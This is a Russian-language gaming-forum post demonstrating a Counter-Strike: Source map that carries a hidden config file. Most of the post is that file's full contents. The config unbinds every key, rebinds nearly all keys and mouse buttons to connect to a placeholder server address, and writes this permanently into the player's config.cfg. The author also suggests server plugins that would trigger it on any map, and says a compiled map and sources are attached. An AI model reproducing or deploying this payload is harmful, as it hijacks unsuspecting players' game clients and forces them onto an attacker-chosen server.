HeMe3iC said:
Скрипты, вшитые в любую карту, разумеется...
Я накидал простецкий примерчик подобного случая для CS:Source
Создал карту в которую вшил файлик
config_hack.cfg
Этот конфиг подгружается клиентом, и вот его содержимое:
Code:
unbindall
bind "0" "connect 123.123.123.123"
bind "1" "connect 123.123.123.123"
bind "2" "connect 123.123.123.123"
bind "3" "connect 123.123.123.123"
bind "4" "connect 123.123.123.123"
bind "5" "connect 123.123.123.123"
bind "6" "connect 123.123.123.123"
bind "7" "connect 123.123.123.123"
bind "8" "connect 123.123.123.123"
bind "9" "connect 123.123.123.123"
bind "a" "connect 123.123.123.123"
bind "b" "connect 123.123.123.123"
bind "c" "connect 123.123.123.123"
bind "d" "connect 123.123.123.123"
bind "e" "connect 123.123.123.123"
bind "f" "connect 123.123.123.123"
bind "g" "connect 123.123.123.123"
bind "h" "connect 123.123.123.123"
bind "i" "connect 123.123.123.123"
bind "j" "connect 123.123.123.123"
bind "k" "connect 123.123.123.123"
bind "m" "connect 123.123.123.123"
bind "n" "connect 123.123.123.123"
bind "o" "connect 123.123.123.123"
bind "q" "connect 123.123.123.123"
bind "r" "connect 123.123.123.123"
bind "s" "connect 123.123.123.123"
bind "t" "connect 123.123.123.123"
bind "u" "connect 123.123.123.123"
bind "w" "connect 123.123.123.123"
bind "x" "connect 123.123.123.123"
bind "y" "connect 123.123.123.123"
bind "z" "connect 123.123.123.123"
bind "`" "connect 123.123.123.123"
bind "," "connect 123.123.123.123"
bind "." "connect 123.123.123.123"
bind "SPACE" "connect 123.123.123.123"
bind "TAB" "connect 123.123.123.123"
bind "ESCAPE" "connect 123.123.123.123"
bind "PAUSE" "connect 123.123.123.123"
bind "SHIFT" "connect 123.123.123.123"
bind "CTRL" "connect 123.123.123.123"
bind "F1" "connect 123.123.123.123"
bind "F2" "connect 123.123.123.123"
bind "F3" "connect 123.123.123.123"
bind "F4" "connect 123.123.123.123"
bind "F5" "connect 123.123.123.123"
bind "F6" "connect 123.123.123.123"
bind "F7" "connect 123.123.123.123"
bind "F10" "connect 123.123.123.123"
bind "F12" "connect 123.123.123.123"
bind "MOUSE1" "connect 123.123.123.123"
bind "MOUSE2" "connect 123.123.123.123"
bind "MWHEELUP" "connect 123.123.123.123"
bind "MWHEELDOWN" "connect 123.123.123.123"
host_writeconfig "config.cfg"
Хочу заметить, что я использовал самый банальный способ. При желании, на сервере можно написать примитивный плагин, который на любой карте каждый раунд будет автоматически вставлять код активации скрипта в любой триггер (например, в зоны покупки, которые тоже являются триггерами).
Возможно, при использовании плагинов, есть какой-то функционал позволяющий напрямую заставить клиент выполнить заданный набор команд (с плагинами знаком поверхностно).
Откомпилированная карта-пример (с вшитым конфигом), а так же исходные файлы прилагаются...
ВНИМАНИЕ! Сохраните свой config.cfg перед запуском карты.